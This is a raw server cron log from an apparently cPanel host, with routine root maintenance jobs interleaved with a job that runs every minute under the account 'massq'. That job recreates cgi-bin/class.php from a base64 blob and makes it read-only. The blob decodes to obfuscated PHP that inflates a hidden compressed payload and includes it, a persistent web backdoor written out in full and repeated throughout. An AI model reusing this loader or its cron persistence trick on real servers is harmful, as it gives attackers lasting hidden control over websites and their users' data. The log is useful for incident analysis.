C2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:50:01 server CROND[17987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:51:01 server CROND[18817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:51:01 server CROND[18818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:51:01 server CROND[18816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:52:01 server CROND[19292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:52:01 server CROND[19293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:52:01 server CROND[19294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:53:01 server CROND[19676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:53:01 server CROND[19675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:53:01 server CROND[19677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:54:01 server CROND[20067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:54:01 server CROND[20068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:54:01 server CROND[20069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:55:01 server CROND[20468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:55:01 server CROND[20469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 14:55:01 server CROND[20472]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 14:55:01 server CROND[20475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:55:01 server CROND[20476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:55:01 server CROND[20479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:55:01 server CROND[20477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:56:01 server CROND[21307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:56:01 server CROND[21308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:56:01 server CROND[21309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:57:01 server CROND[21690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:57:01 server CROND[21692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:57:01 server CROND[21693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:57:01 server CROND[21691]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 14:58:01 server CROND[22170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:58:01 server CROND[22171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:58:01 server CROND[22172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:59:01 server CROND[22604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:59:01 server CROND[22605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:59:01 server CROND[22606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:00:01 server CROND[23167]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:00:02 server CROND[23170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:00:02 server CROND[23174]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 15:00:02 server CROND[23176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:00:02 server CROND[23175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:00:02 server CROND[23171]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 15:00:02 server CROND[23173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:00:02 server CROND[23172]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 15:00:02 server CROND[23177]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 15:01:01 server CROND[24075]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 15:01:01 server CROND[24076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:01:01 server CROND[24078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:01:01 server CROND[24077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:01:01 server run-parts(/etc/cron.hourly)[24075]: starting 0anacron
Sep  4 15:01:01 server run-parts(/etc/cron.hourly)[24095]: finished 0anacron
Sep  4 15:02:01 server CROND[24470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:02:01 server CROND[24471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:02:01 server CROND[24473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
